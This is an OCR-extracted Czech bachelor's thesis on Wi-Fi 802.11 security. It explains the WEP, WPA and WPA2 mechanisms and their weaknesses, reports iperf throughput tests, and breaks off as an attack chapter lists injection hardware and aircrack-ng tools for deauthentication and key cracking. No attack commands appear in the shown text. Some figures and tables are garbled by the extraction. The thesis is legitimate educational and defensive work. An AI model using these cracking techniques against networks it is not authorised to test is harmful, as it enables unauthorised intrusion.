VYSOKE UCENI TECHNICKE V BRNE

BRNO UNIVERSITY OF TECHNOLOGY

FAKULTA ELEKTROTECHNIKY A KOMUNIKACNICH
TECHNOLOGII

| / USTAV TELEKOMUNIKACI

FACULTY OF ELECTRICAL ENGINEERING AND COMMUNICATION
DEPARTMENT OF TELECOMMUNICATIONS

AKTUALNI TRENDY V ZABEZPECENI WI-FI SITi
STANDARDU IEEE 802.11

CURRENT TRENDS IN THE SECURITY OF WI-FI IEEE 802.11 NETWORKS

BAKALARSKA PRACE
BACHELOR'S THESIS

AUTOR PRACE ONDREJ BLAZEK
AUTHOR

VEDOUCI PRACE Ing. PAVEL ENDRLE
SUPERVISOR

BRNO 2014



[TTI[TT] VYSOKE UCENI
TECHNICKE V BRNE

Fakulta elektrotechniky
a komunikacnich technologii

NS

| \{ Ustav telekomunikaci

Bakalarska prace

bakalarsky studijni obor
Teleinformatika

Student: Ondrej Blazek ID: 146788
Ro¢nik: 3 Akademicky rok: 2013/2014
NAZEV TEMATU:

Aktualni trendy v zabezpeceni Wi-Fi siti standardu IEEE 802.11

POKYNY PRO VYPRACOVANI:

Podrobné popiste a rozeberte problematiku siti standardu 802.11. Prostudujte moZnosti zabezpec&eni
téchto siti a pfipadné nedostatky jednotlivych Sifrovacich a autentiza¢nich algoritm(. Déale popiste vliv
jednotlivych Sifrovani na sit' s ohledem na pfenosovou rychlost. Vypracuijte praktické Gtoky na jednotlivé
zabezpeceni (WEP, WPA a WPA2), navrhnéte efektivni pouZziti v praxi a vyhodnotte momentalni situaci
z hlediska komer&niho pouzivani zabezpeeni bezdratovych siti.

DOPORUCENA LITERATURA:

[1] Bigelow, S., J.: Mistrovstvi v po€itacovych sitich. Nakladatelstvi CPRESS 2004. ISBN
80-251-0178-9.

[2] Matas, J.: Linux jako brana do sité Internet. [Bakalarska prace]. Ustav Telekomunikaci FEKT VUT v
Brné. 2007.

[3] BARKEN, Lee. Wi-Fi : jak zabezpecit bezdratovou sit. 1. vyd. Brno : Computer Press, 2004. 174 s.
ISBN 80-251-0346-3.

[4] ZANDL, Patrick. Bezdratové sité WiFi. 2003. 204 s. ISBN 80-722-6632.

Termin zadani: 10.2.2014 Termin odevzdani: 4.6.2014

Vedouci prace: Ing. Pavel Endrle
Konzultanti bakalarské prace:

doc. Ing. Jifi MiSurec, CSc.
Predseda oborové rady
UPOZORNENI:
Autor bakalafské prace nesmi pfi vytvareni bakalafské prace porusit autorska prava tfetich osob, zejména nesmi
zasahovat nedovolenym zplsobem do cizich autorskych prav osobnostnich a musf si byt plné védom nasledku

poruSeni ustanoveni § 11 a nasledujicich autorského zékona €. 121/2000 Sh., v€etné moznych trestnépravnich
duisledkd vyplyvajicich z ustanoveni ¢asti druhé, hlavy VI. dil 4 Trestniho zakoniku ¢.40/2009 Sb.



ABSTRAKT

Tato prace popisuje moznosti zabezpeceni standardu 802.11. Je zde popsan princip WEP
algoritmu, problém s jeho inicializaénim vektorem, ktery vede k statistickému dtoku
a odhaleni jeho tajného klice. Mimo to jsou zde vysvétleny principy dalSich algoritmi jako
WPA, WPA2, spolu s praktickou ukazkou bruteforce Gtoku, v praktické Casti. Taktéz vliv
Sifrovani na propustnost sité je zde otestovan, s pouzitim testovaciho nastroje Iperf.
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ABSTRACT

This work describes security options of 802.11 standard. Principle of WEP algorithm is
described here, problem with his inicialization vector which leads to a statistical attack
and revelation of his secret key. Moreover other principles of algorithms such as WPA,
WPA2 are explained here along with a practical demonstration of bruteforce attack in
a practical part of the thesis. Also the influence of encryption on network throughput is
tested here using tool Iperf.
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UVOD

V dnesni dobé technika uz tak pokrocila, ze bezdratové sité jsou vyuzivany témér
v kazdé domécnosti, kancelarich ¢i hotelech. Jejich vyuziti neustdle roste. Hlavni
vyhodou oproti béznym, dratovym sitim, je jednoduchost instalace, spravy ¢i pou-

ziti. Z davodu jejich obliby se tyto sité staly nedilnou soucésti zivota.

Mylné ptredstavy o bezpecnosti algoritmu WEP byly vymyceny s prichodem néa-
stroje aircrack a jeho nejnovéjsi verzi aircrack-ng. S pomoci tohoto nastroje je mozné
obnovit tajny kli¢c béhem necelé minuty. Bylo tedy nutné pftijit s né¢im, ¢im by byly
odstranény nedostatky algoritmu WEP. Tim se stal algoritmus WPA a protokol
TKIP. Az do nedavna byl tento algoritmus neprolomitelny, avsak se zvysujicim se
vykonem pocitact neustale klesa ¢asova narocnost bruteforce tutoku, coz znamend
vyrazny problém. Je tedy nutné byt si védom vsech nedostatkil a vyvarovat se jich.
Hlavnim problémem, jak se ale ukazuje, je vétSinou sam uzivatel, ktery dava vét-
sinou prednost pohodli pred bezpecnosti a voli jednoducha hesla, ¢imz umoznuje

snadny pristup potencialnim utoéniktm.

Tato prace vas seznami s problematikou bezdratovych siti, standardy 802.11a,
b, g, n, ac. Jednotlivymi formami zabezpeceni a pripadnych slabinach v Sifrovacich
algoritmech WEP, WPA a WPA2. Kazdy z algoritmti zde bude predstaven a vy-
svétlen princip. Mimo jiné zde budou predvedeny utoky prakticky, véetné vysvétleni
kazdého z nich. V jedné z kapitol bude také rozebran vliv Sifrovacich algoritmt na

prenosovou rychlost, proméren nastrojem na propustnost iperf.
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1 STANDARD 802.11

V roce 1997 byl zalozen prvni standard pro bezdratové sité s oznacenim 802.11,
instituci zvanou IEEE (Institute of Electrical and Electronics Engineers). Dosaho-
val rychlosti do 2Mb/s, coz nebylo dostacujici a proto vznikl v roce 1999 standard
802.11b, spolu s 802.11a.

V této kapitole jsem cerpal ze zdroju [6], 22].

1.1 802.11a

Tento standard vznikl zaroven se standardem 802.11b, avSak na rozdil od né&j, byl
navrzen, aby pracoval v pasmu 5GHz. Z toho divodu nebyl tolik rozsiten, jeli-
koz zarizeni podporujici 5 Ghz byly drazsi nez pro 2,4 GHz a neni tak kompatibilni
s jinymi standardy. Standard podporuje rychlosti az 54 Mb/s a vyuzivd modulaci
OFDM, avsak prakticky se rychlost pohybuje kolem 25Mb/s. Tim, ze pracuje ve
frekvenénim pasmu 5 GHz neni signal tolik rusen, protoze na této frekvenci nepra-

cuje tolik zafizeni, co by ruseni zptisobovaly.

1.2 802.11b

Roku 1999 byl ptvodni standard rozsiten a vznikl tak 802.11b, ktery uz podporoval
rychlosti do 11 Mb/s a byl uz tak srovnatelny s ethernetem.

Tento standard vyuziva stejné frekvencéni pasmo, jako ptvodni standard a to
2.4 — 2.4835 GHz. Jednou z nevyhod je avsak slaba odolnost vici ruseni, které mo-
hou zpiisobovat zarizeni pracujici na stejné frekvenci jako jsou mikroviné trouby ¢i
bezdratové telefony. Resenim je vyuzivani ARS, které umozn{ v pifpadé ruseni sni-
zit rychlost, ¢imz by se zvysila odolnost viiéi chybam. 802.11b vyuziva modulac¢ni
technologie DSSS (systém s rozprostienym spektrem). Tento standard byl aktudlné

nahrazen noveéjsimi, ale je stale zachovavana podpora.

1.3 802.11g

7 dtvodu dosahovat takovych rychlosti jako standard 802.11a a zaroven pracovat
v pasmu 2.4 GHz byl vydan standard 802.11g. Jedna se o nejrozsitenéjsi standard,
rozsitujici 802.11b, ktery je zpétné kompatibilni a pracujici tedy na stejném frek-

venénim pasmu 2.4 — 2.485 GHz. Diky nové modulaci OFDM umoznuje pfenosové

12



rychlosti az do 54 Mb/s, co ho déla srovnatelnym s 802.11a. Redlna rychlost se ale
pohybuje kolem 24 Mb/s. Je umoznéno vybrat si i modulaci DSSS, pro zachovani
kompatibility.

Tato kompatibilita je prakticky fesena zménou fyzické vrstvy:

o« ERP-DSSS-CCK - Tato vrstva pouziva kombinaci DSSS a CCK, vykonové
srovnatelné s 802.11b.

o« ERP-OFDM - Zde se pouziva nova modulace OFDM, umoznujici tak dosah-
nout rychlosti srovnatelné s 802.11a a pritom pracovat na 2,4GHz pasmu.

o ERP-DSSS/PBCC - Tato vrstva umoznuje opét zpétnou kompatibilitu, avsak
pouziti PBCC kédovéani pro data umoznilo zvysit rychlost na 22, ¢i 33 Mb/s.

e DSSS-OFDM - Jedna se o novinku, u které je hlavicka paketu odesldna s po-
uzitim DSSS a OFDM je pouzivano pro prenos cistych dat.

1.4 802.11n

Za tucelem zvysovani rychlosti byl vydan standard, vylepsujici 802.11g, finédlné v roce
2009. Vyuziva technologii MIMO (Multiple Input Multiple Output) pro vyznamny
narust datové propustnosti, s pomoci vice nez jedné prijimaci a vysilaci antény, coz
tak umoznuje dosahovat rychlosti vysoce nad 54 Mb/s (teoreticky je udavéno az
600 Mb/s). Byla také zvétsena sitka kanalu na 40 MHz.

Aby byla umoznéna zpétna kompatibilita, je mozné zvolit na AP z nékolika

modu:

» Legacy - kombinace 802.11a,b a g
o Mixed - kombinace 802.11a,b,g a n
e Greenfield - pouziti cisté 802.11n

MIMO technologie dovoluje pouziti az 4 prijimacich a 4 vysilacich antén, soucasné
tak prenaset az 4 datové toky na daném kanalu. Vysoka spotfeba energie, pii nasa-
zeni této technologie, je fesena tak, ze v pripadé, kdy neni MIMO potiebovano, je

systém prepnut do stavu nec¢innosti, nebo je rychlost snizena na velice nizkou.

1.5 802.11ac

Nejnovéjsi ze standardu, oznacovan také jako Gigabit Wi-Fi nebo VHT (Very High
Throughput), zpétné kompatibilni s 802.11a,n, které také mohou vyuzivat 5.8 GHz

13



nelicencované ISM pasmo. Vylepsenim stavajicich standardi a jejich technologii, je
mozné dosahnout redlné rychlosti pres 1 Gb/s.

Je zde implementovdna nova forma MIMO, s nazvem Multi-User MIMO (MU
MIMO). Jedné se prenos dat ruznym klientim soucasné, diky vyuziti chytrého sys-
tému front. Vylepseni dostala i korekce chyb, u které byl snizen pocet kontrolnich
bitd pro stejny objem dat. Zvétsila se také sitka kanalu na 80 MHz, s moznosti pou-
zit 1 dva bloky po 80 MHz (160 MHz). Nejvyssich rychlosti je umoznéno dosdhnout
v pripadé pouziti 160 MHz sitky kanalu, modulaci OFDM typu 256-QAM a tech-
nologii MIMO s 8 anténovym AP. Dosazeni téchto rychlosti ovlivni pocet moznych
kanalt na pouhé dva (2 x 80 MHz, prip. 1 x 160 MHz).

Tab. 1.1: Srovnani majoritnich Wi-Fi standardd 802.11

802.11a 802.11b 802.11g 802.11n 802.11ac
Rok - - -
., Cervenec Cervenec Cerven .
vydani Rijen 2009 | Leden 2014
1999 1999 2003
standardu
Rychlost
prenosu 54 11 54 600 6000
dat [Mb/s]
OFDM OFDM

Modul OFDM DSSS ’ ’ OFDM

canace DSSS DSSS
Frekvencni

pasmo 5) 2.4 2.4 2.4 nebo 5 5

[GHz|

Sitka

. 80 nebo
kanalu 20 20 20 20 nebo 40
160
[MHZz]
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2 SIFROVACI AGORITMY

7 divodu snadného pristupu do bezdratové sité, kdy utocnik nemusi mit fyzicky
pristup do aredlu (budovy) a pritom muze odposlechnout déni na siti, je nezbytné
nutné vzdy implementovat néjakou formu zabezpeceni. Mezi které patii mimo jiné
sifrovaci algoritmy.

Utoc¢nik si vétsinou vybere cestu nejmenstho odporu, tzn. tu nejméné zabezpede-
nou sit. Proto jsou zde uvedeny principy a nedostatky sifrovacich algoritmi, abychom

si byli védomi nedostatki a spravné se rozhodli v jejich (ne)nasazeni.

V této kapitole jsem prevazné Cerpal ze zdroju [II, 2] 3, [4, (5l 7], 19, 20, 2], 22].

2.1 WEP

Sifrovaci algoritmus WEP (Wired Equivalent Privacy) je povazovan za nejstarsi za-
bezpecovaci mechanismus, pouzivan v puvodnim standardu IEEE 802.11. Vznikl
v roce 1999 jako jedna z prvnich forem zabezpeceni pro bezdratové sité, z divodu
snahy o bezpecny prenos dat jako u kabelové komunikace. WEP chrani data pti
pruchodu pres bezdratové médium, avsak nezajistuje tiplnou ochranu a utajeni dat

pred odposlechem.
WEP ma na vybér dvé moznosti autentizace:

o Otevreny systém - ktery funguje tak, ze klient, ktery chce ziskat pristup do sité
odesle jednoduchy pozadavek pro autentizaci na dany AP. Ten mu nasledné
odpovi, jestli byla autentizace ispésnd nebo ne. Klient je poté (ne)ptipojen do
site.

o Autentizace sdilenym klicem - zaloZena na tom, ze kazdy z klientt, pozadujici
pristup do sité, zna tajny kli¢, jimz se prokazuje. Dany AP pak ovéri, zdali

kli¢ souhlasi. Pti shodé je klient nasledné asociovan.

Funkce WEP algoritmu je popsana diagramem na obrazku Tajny kli¢, ktery
slouzi k zasifrovani dat pfi prenosu, sdileny mezi vysilacem (PC) a pfijimacem (AP),
o délce 40 nebo 104 bit1, je nastaven na kazdé stanici a je spojen s inicializacnim
vektorem IV, dlouhym 24 bitii. Ty spolu tvori symetrickou sifru RC4, kterd je slozena
z algoritmti KSA a PRGA. KSA algoritmus pracuje s polem o hodnotach od 0

do 255 a s tzv. seedem, jejichz hodnoty jsou timto algoritmem promichany. To je

15



tainy Klie XOR / DATA
ajny klic
jny =N Il RC4 (PRGA) <> I
\ CRC32
. . >
vektor IV sifrovany text + IV
—

Obr. 2.1: WEP sifrovaci diagram

nasledovano algoritmem PRGA, jehoz vystupem je posloupnost pseudondhodné rady
¢isel. Ty jsou spolecné se stejné dlouhou posloupnosti dat secteny v logické funkci
XOR a tvori sifrovany text. Z divodu snadného desifrovani je vektor IV obsazen
v prostém textu. Ke kontrole chyb v prenosu, po desifrovani, je vyuzit kontrolni
soucet CRC, oznacovan jako ICV (Integrity Check Value), s délkou 32 bitu. Pred
finalnim odeslani ramce pres sit je jesté pripojen k témto dattm vektor IV.
Opacny princip méa ¢ast prijimaci - ta prijme rdmec, desifruje jej, stejné jako u vy-
silani spoji IV a sdileny kli¢, odeslou do generatoru PRGA a vyslednou posloupnost
opét secte funkce XOR s prijatym Sifrovanym textem. Z toho se pak vypocita CRC
pro prijatou zpravu. Ten pak porovna s tim, uvnitt prijatého ramce. Pokud hodnoty

nejsou stejné, je ramec zahozen.

2.1.1 Slabiny algoritmu WEP

Problémy se sdilenym klicem:
Uz jenom to, ze WEP nemd nijak fesenu spravu klict - vyuziva sdileny kli¢ mezi
vSemi stanicemi, je slabinou, jelikoz pri vétsim poctu klientt, je z hlediska spravy
obtizné meénit tento kli¢ periodicky a tak je vétsinou pouzivan ten samy. Tudiz pti
ztraté stanice by mohl utoc¢nik ziskat klic a pokud by byl neménén, mél by vratka
oteviena.

Jako jedna z moznosti je pouziti 40bitového klice (zndme jako 64bitovy - pripo-
jeno IV o hodnoté 24 bitt), coZ je nedostacujici (jednd se o 5 znaka, ¢ 10 hexa-
decimélnich ¢islic). Velikost by méla byt alespon 80 bitu, aby byl kli¢ odolny proti

slovnikovému utoku.

Chyby v inicializa¢nim vektoru IV:

Prvni slabinou inicializacniho vektoru IV je to, ze ma délku pouze 24 bitt (22*), coz
nam da 16777216 raznych posloupnosti Sifry RC4 a navic je obsazena v prostém
textu, coz je nepripustné pro kryptografické tcely.

Dalsi problémem je to, ze je IV statické => po uréitém case se bude opakovat,
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¢ehoz je vyuzito pri statistickém utoku v kapitole [4.1.2]

Ani samotny standard 802.11 nijak nespecifikuje to, jak by méla Sifra RC4 s timto
vektorem zachézet, tudiz to je na kazdém pristupovém bodu, jak s nim nalozi. Neni
znamo, jestli za¢ina od nuly a zvysuje o jednicku, nebo za¢ina od konce, ¢i generuje

nadhodné.

Nevhodnost kontrolniho sou¢tu CRC-32:
V ném je problém ten, Ze itocnik je schopen pozménit ICV tak, aby zprava vypadala
jako original. A tak je schopen si napiiklad zménit cilovou adresu, tak aby vyho-
vovala jeho potiebam a pristupovy bod nebude schopen zjistit, ze tento pozadavek
prichézi od utocnika.

Jako kontrolu chyb pri prenosu je CRC-32 vhodny, ale pro kryptografii je mno-

hem lepsi zvolit napt. algoritmus MD5.

2.2 WPA

Poté, co byly zjistény zasadni nedostatky WEP algoritmu, bylo potieba prijit s né¢im
novym, co by tyto chyby odstranilo. Proto v roce 2003 vydala IEEE novy Sifrovaci
algoritmus WPA (Wi-Fi Protected Access). Z duvodu hardwarové kompatibility byly
nékteré prvky z predeslého WEP algoritmu zachovany, ale byly z divodu bezpec-

nosti poupraveny.

Hlavnimu zlepseni se dostalo v nasledujicich c¢astech.:

o Autentizace - zalozena na 802.1X a protokolu EAP

« Sifrovani - je zde pouzit protokol TKIP

« Integrita dat - CRC32 nahrazen novym MIC (tzv. Michael)

2.2.1 Autentizace

Aktualné jsou pouzivany dvé formy autentizace. Prvni z nich je WPA-Enterprise
(podnikova) a druhd je WPA-Personal (s predsdilenym klicem PSK - pro mensi
podniky a domécnosti).

V Enterprise médu je zapotiebi autentizacni server, vétsinou formou RADUIS
serveru. Je pouzivana silnd 802.1X autentizace (obr. spolu s protokolem EAP
a jeho autentizacnimi metodami (EAP/TTLS, PEAP, EAP/TLS). Pokud chce pak
uzivatel pristup do sité, vysle svoje pristupové tdaje pres AP k autentizac¢nimu
serveru, ktery je porovna s databazi a je vytvoren tzv. "Master key", ktery je pak

distribuovan ke klientovi. AP pak pomoci tohoto klice dynamicky generuje specidlni
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klice k zasifrovani kazdého z pakett, které jsou odeslany smérem k obéma uzivateli

i AP. Proces, ktery nastava dale a pri kterém dochazi k odvozovani ostatnich klict
se nazyva 4-way handshake, vyuzivajici zpravy EAPOL.

Autentizacni server

Stanice

STA AP RADIUS

| % RADIUS =
J 802.1X

_— «—> W —>
802.1X/EAP

< Pozadavek totoznosti

802.1X/EAP
Odpovéd s totoznosti

Ovéren{ udaju serverem

Odvozeni MK a distribuce kli¢t pomoci EAP zprav

Prijeti RADIUS serverem

802.1X/EAP tspéch

Obr. 2.2: Autentizace 802.1X

Druhou moznosti je tedy WPA-PSK, pokud neni mozné vyuzit RADIUS serveru.
Tato autentizace poskytuje stejnou sifrovaci metodu s pomoci protokolu TKIP. Roz-
dil je v hlavnim kli¢ci MK (zde je ve formé PSK), ktery uz tim padem neni pridélen
od autentizacniho serveru, nybrz je zaddvan ruéné na obou strandch (AP i klient).

Nasleduje 4-way handshake, jak popisuje obr. 2.3

Supplicant Autentizator
PMK (PSK) -> E @i < PMK (PSK)
ANonce
<
PTK SNonce + MIC
PTK+
> GTK
GTK + MIC
instalace klice
<
potvrzeni ACK instalace klice
>

Obr. 2.3: Princip 4-way handshake

18



V prvni zpravé je autentizdtorem vygenerovano nahodné ¢islo ANonce, které je
odeslané supplicantu. Ten si vygeneruje svoje nahodné ¢islo SNonce a je pak scho-
pen z ANonce, SNonce, MAC AP a MAC klienta vypocitat PTK a ostatni doc¢asné
klice. Dané SNonce opatii kontrolnim souc¢tem MIC a nasledné odesila ve formé
druhé EAPOL zpravy Autentizatoru (AP). Autentizator provadi stejnou operaci,
vypocita z prijatych hodnot svoje PTK, opatfi ho kontrolnim sou¢tem MIC a hod-
notu porovna s prijatou. V pripadé shody je mozné usoudit, ze supplicant dany PSK
kli¢ zna. Treti zprava obsahuje GTK kli¢, ur¢eny pro skupinové vysilani a informaci
k instalaci kli¢ti. Celd zprava je opét opattena MIC. Po ovéreni MIC na strané kli-
enta je odeslana c¢tvrtda EAPOL zprava o ukonceni 4-way handshake a potvrzeni

o instalaci klic¢u.

2.2.2 Sifrovani a integrita

Diky protokolu TKIP je tajny kli¢ rozsiten z 40 bitii na 128 a misto jediného sta-
tického klice jsou zde pouzity klice dynamické. TKIP je z divodu kompatibility
se starSimi zafizenimi zalozen na Sifrovacim algoritmu RC4. Predchozi zranitelnosti
jako problémy s opakovanim vektoru IV jsou odstranény zavedenim citace TSC
(hodnota je inkrementovana o 1 pro kazdy paket) a samotnym zvétsenim délky IV
na 48 bitl. To ma za nésledek zabranéni utokl typu replay, jelikoz pakety se stej-
nou nebo nizsi hodnotou TSC jsou zahozeny. Dalsim zlepsenim je zavedeni kli¢ii pro
kazdy odeslany paket, tzv. "Per Packet Key Mixing".

Vstupem algoritmu RCA4 je pak toto rozsitené IV, plus tzv. "dummy byte". Proud
klica (keystream) ktery tvori vystup z RC4 pak vstupuje do funkce XOR, spolu
s daty, hodnotou MIC a ICV (viz WEP).

K vypocitani kodu MIC je vyuzito algoritmu Michael. Velikost tohoto kodu je 8
oktett (8*8 biti1) a k jeho vypoditani je zapotiebi zdrojovou a cilovou adresu (SA
a DA), dalsi z docasnych klici (TMK) a data. Pokud by béhem jedné minuty nastalo
vice nez 2 selhani MIC, tak by nastal 60 vtefinovy vypadek a bylo by nutné ziskat
nové PTK a GTK klice.

Zasifrovano
IV / KeyID RozZsirené IV DATA MIC ICV
4 oktety 4 oktety n oktetl 8 oktetl 4 oktety

Obr. 2.4: Paket dat zasifrovany protokolem TKIP
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2.3 WPA2

V roce 2003, kdy byl zaveden algoritmus WPA, nebyl jesté standard 802.11i tiplné
hotov. To se stalo az v ¢ervnu roku 2004, kdy byl plné schvélen.

Nese oznaceni WPA2, neboli Wi-Fi Protected Access 2 (nékdy i RSN = Ro-
bust Security Network) a jeho vydani prineslo zdsadni zmény v Sifrovani a integrité
dat. Prioritou zde byla bezpecnost a z toho divodu bylo nutné ptijit s né¢im tplné
novym. Stard RC4 sifra byla nahrazena novou sifrou AES, implementovanou v pro-
tokolu CCMP, ale je zde i moznost zvolit protokol TKIP. Autentizace pomoci 802.1X
i méd PSK byly zachovany.

Jednim z rozdil mezi TKIP a CCMP je i ten, ze vypocet MIC u TKIP byl prova-
dén z MSDU (data pred fragmentaci), avsak u CCMP se vychazi z MPDU (data po
fragmentaci), to ma na starost CBC-MAC (Cipher-Block Chaining Message Authen-
tication Code). Pro vypocet MIC se zde vyuziva 128 bitového vektoru IV. Princip
zobrazuje obr 2.6 nejprve je IV vektor Sifrovan Sifrou AES a docasnym klicem TK.
Nasledné je téchto 128 bitit XORovano s dalsimi 128 bity dat a piejde se opét na
prvni krok. Takto se postupuje, dokud nejsou vSechna data hotova. Posledni datovy

blok je doplnén nulami, aby byl 128b. Poté je vzato prvnich 64 bitl, pro vypocet
MIC.

Druhy méd CCMP protokolu, tzv. Counter mode (CTR) ma na starost Sifrovani.
Na zacatku je nastavena hodnota counteru do 1, pokud diiv nebyl pouzit, jinak se
hodnota inkrementuje. Tato hodnota je Sifrovana pomoci AES a doc¢asného klice TK,
jejichz vysledek je XORovan s prvnimi 128 bity dat. To nam da prvni 128 bitovy
blok. Takto se postupuje nez jsou vycerpany vSechny bloky. Na konci je nastaven
counter na nulu a je Sifrovan sifrou AES a docasnym klicem TK. Z vystupu této
sifry se vezme 64b s hodnotou MIC, prevzatou z CBC-MAC a je provedena operace
XOR. Vysledek je pripojen k datovym bloktim.

Nezasifrovéano Sifrovano
CCMP hlavicka DATA (MPDU) MIC
8 oktetl n oktetu 8 oktetl

PNO PN1 Rsv KeyID PN2 PN3 PN4 PN5

Obr. 2.5: Paket dat zasifrovany protokolem CCMP
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AES
(TK) < IV
XOR AEs | ¥R~ AES XOR | cBcmac
E}ﬁ (TK) N (TK) NI 128b
I 1
128 bita dalsich posledni doplnéni
dat 128 bitda  |------ blok nulami
dat dat
|
CTR1 CTR2 CTRn I_ CTRO MIC
64b
% V V
s AN AES | S NI AES | N
T | S| @ | @x V| axv P\
CCMP prvni Sifrovany druhy sSifrovany posledni Sifrovany Sifrované
hlavicka 64b 128b blok 128b blok 128b blok MIC 64b

Obr. 2.6: Princip Sifrovani protokolem CCMP
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3 VLIV SIFROVANI NA PRENOSOVOU
RYCHLOST

Jednotlivé Sifrovaci algoritmy byly otestovany pomoci sitového testovaciho néastroje
Iperf, ktery umoznuje zmérit propustnost sité a kvalitu pouzité linky, s vyuzitim
protokolu TCP nebo UDP. Tento nastroj umoznuje taktéz nastavit pii testovani
rizné parametry, avsak je omezen na pouziti mezi dvéma hosty.

Na obrazku lze vidét zapojeni, kde je Iperf server pripojen ke smérovaci
pomoci ethernetového kabelu a Iperf klient je pripojen bezdratové pomoci standardu

802.11g, jehoz redlna propustnost by se méla pohybovat kolem 22 Mb/s.

Iperf Klient % Iperf Server
- -~ W —
Router N
= ZyXEL P660HW &

Obr. 3.1: Zapojeni IPERF

Propustnost byla méfena vzdy od serveru ke klientovi a pro kazdy typ sifrovani
byl testovan prenos 32 MB a nasledovné 1 GB s pouzitim protokolu TCP. Operace
byla provedena nékolikrat pro omezeni vlivu ndhodnych jevi.

Testovani bylo provedeno nejprve pro otevienou sit, nezabezpecenou, dale pak
pro 64bitovy WEP, 128bitovy WEP, WPA s predsdilenym klicem a WPA2, taktéz
s predsdilenym klicem. Pro kazdy z testi byl nové spustén Iperf server prikazem:
iperf -s, ktery dle obrazku nasloucha na portu 5001, coz jak lze vidét nize,
bylo stejné pro vsechny testy.

Server listening on TCP port 5001

TCP window size: 85.3 KByte (default)

Obr. 3.2: Iperf Server

3.1 Otevrena sit

P1i vyuziti nezabezpecené sité, z obrazku 3.3/ mtzeme zjistit, Ze se klient s [P adresou
192.168.1.103 a portem 44914 pripojoval k serveru s IP adresou 192.168.1.193 na
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portu 5001. Bylo zde také vyuzito parametru n (velikost v bytech), pro nastaveni
na 1 GB a dale 4, pro vypisy prenosu kazdych 60 vtefin.

Provedeno prikazem:
iperf -c 192.168.1.193 -n 1GB -i 60.

Client connecting to 192.168.1.193, TCP port 5001
TCP window size: 21.0 KByte (default)

local 192.168.1.103 port 44914 connected with 192.168.1.193 port 5001
Interval Transfer Bandwidth

0.0-60.0 sec 161 MBytes 22.5 Mbits/sec

60.0-120.0 sec 156 MBytes 21.9 Mbits/sec
120.0-180.0 sec 160 MBytes 22.4 Mbits/sec
180.0-240.0 sec 157 MBytes 21.9 Mbits/sec
240.0-300.0 sec 160 MBytes 22.4 Mbits/sec
22
2

2w

300.0-360.0 sec 157 MBytes 22.0 Mbits/sec
0.0-387.1 sec 1.00 GBytes 22.2 Mbits/sec

[Ny . Ry Sy .y .y Sy WS

Obr. 3.3: Iperf Klient

Z vysledku muzeme vidét, Ze propustnost, se pohybovala mezi 21.9-22.5 Mb/s,
coz dalo v pruméru 22.2 Mb/s. I ¢asové intervaly témto hodnotdm odpovidaji. Pri
vyuziti sifrovani byl postup naprosto stejny, tudiz nasledovné zobrazuji jen priumérné

hodnoty.

3.2 64bitovy WEP

V tomto pripadé trvalo prenést 1 GB 392.2 vtefin, coz ve srovnani s otevienou siti

dava jen velice maly rozdil.

1.00 GBytes 21.9 Mbits/sec

Obr. 3.4: Iperf Klient - 64b WEP

3.3 128bitovy WEP

Zde zména nenastala skoro zadnd, doba prenosu byla jen lehce delsi.

1.00 GBytes 21.9 Mbits/sec

Obr. 3.5: Iperf Klient - 128b WEP
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3.4 WPA-PSK

P1i pouziti WPA s predsdilenym klicem uz je zména znacna. Pti prenosu 1 GB to
znamena prodlevu 41 a pul vtefiny, coz znamena, ze napt. pri prenosu 2 GB uz to

da rozdil 1 minutu a 20 vtefin.

1.00 GBytes 20.0 Mbits/sec

Obr. 3.6: Iperf Klient - WPA

3.5 WPA2-PSK

A nakonec, s pouzitim WPA2-PSK zména taktéz nastala, dokonce k lepsimu, nez
u WPA-PSK. Prenos 1GB trval 414.4 vtefiny, propustnost se ménila v rozmezi
20.5-21.0 Mb/s.

[ 3] 0.0-414.4 sec 1.00 GBytes 20.7 Mbits/sec

Obr. 3.7: Iperf Klient - WPA2

3.6 Shrnuti

Po shlédnuti vysledku je zfejmé, ze vliv na rychlost sité, pfi pouziti Sifrovacich
algoritmt zde je.

Konkrétni hodnoty jsou zobrazeny v tabulce [3.1]a vyneseny v grafu 3.8 kde tedy
muzeme vidét, ze jak pri prenosu 32 MB, tak 1 GB bylo nejlepsich vysledki dosazeno
pii vyuziti nezabezpecené sité, avsak propustnosti okolo 22 Mb/s v obou pripadech
dosahuje i pouziti algoritmu WEP.

Je tedy velice vhodné pouzit alespon ten, pokud nam jde hlavné o dosazeni
vyssi rychlosti a nemame strach o naruseni bezpecnosti, ¢i vniknuti neopravnéného
uzivatele.

Nejhorsiho vysledku, v porovnavani propustnosti dosahl algoritmus WPA, ¢i

WPA2, ocividné z divodu lepsi formy zabezpeceni, predevsim pouzitim mnohem

Vv
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4 UTOKY NA SITE 802.11 A JEJICH
SIFROVACI ALGORITMY

Vétsina lidi si mysli, ze kdyz jejich sit zabezpec¢i néjakym Sifrovacim algoritmem,
maji vSe v bezpec¢i. My si zde ukazeme, Ze tomu tak neni a je jen otazkou casu, jak
rychle lze jednotlivy algoritmus prolomit.

Budu se zde prevazné vénovat ttokuim na pristupovy bod, na kterém bude jiz
komunikovat néjaky klient, ale také si ukazeme utoky, kdy k AP neni pripojen klient

adny.

4.1 Pouzita zarizeni a softwarové vybaveni

Jako pristupovy bod byl pouzit doméci router ZyXEL P-660HW-T3 obr[.1]
podporujici standard 802.11g, algoritmy WEP, WPA-PSK ¢i WPA2-PSK.

Obr. 4.1: Pristupovy bod ZyXEL

Pro pripojeni klienta byl vyuzivany integrovany, bezdratovy adaptér uvniti note-
booku Lenovo E520 s podporou standarda 802. 11b,g,n, s MAC adresou 74:E5:0B:C0:5B:8C.

Obr. 4.2: Pouzité zafizeni
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o procesor: Intel core i5 M460 2.53 GHz
o pamét: DDR3 4 GB.
 pevny disk: Toshiba MK7559GS 5400 ot./min.

Pro tutoky byl pouzit USB bezdratovy adaptér ALFA AWUSO036H, lze vidét na
obrf4.2] s chipsetem Realtek RTL8187L, ovladacem rt18187 a patchem compat-

drivers-frag-+ack, pro podporu injekce.

Jako programové vybaveni bylo pouzito nékolik open sourcovych balickii: aircrack-
ng ve verzi 1.2 beta3, crunch ve verzi 3.6, cowpatty ve verzi 4.6 a genpmk ve
verzi 1.1, vSechny bézici na systému Arch Linux ve verzi 3.14.4-1-ARCH.

Prvni z nich aircrack-ng je program pro crackovani hesel algoritmi WEP, WPA-

PSK ¢i WPA2-PSK. Program obsahuje mnoho néstroji, ty nejpouzivanéjsi jsou:

e airmon-ng - umozni nastavit adaptér do monitorovactho modu

e airodump-ng - urcen k zachytavani sifrovanych paketii, sbirdni vektorta IV,
nebo umozni vypsat seznam dostupnych siti

 aireplay-ng - urcen pro falesnou autentizaci, deautentizaci klient, generovani
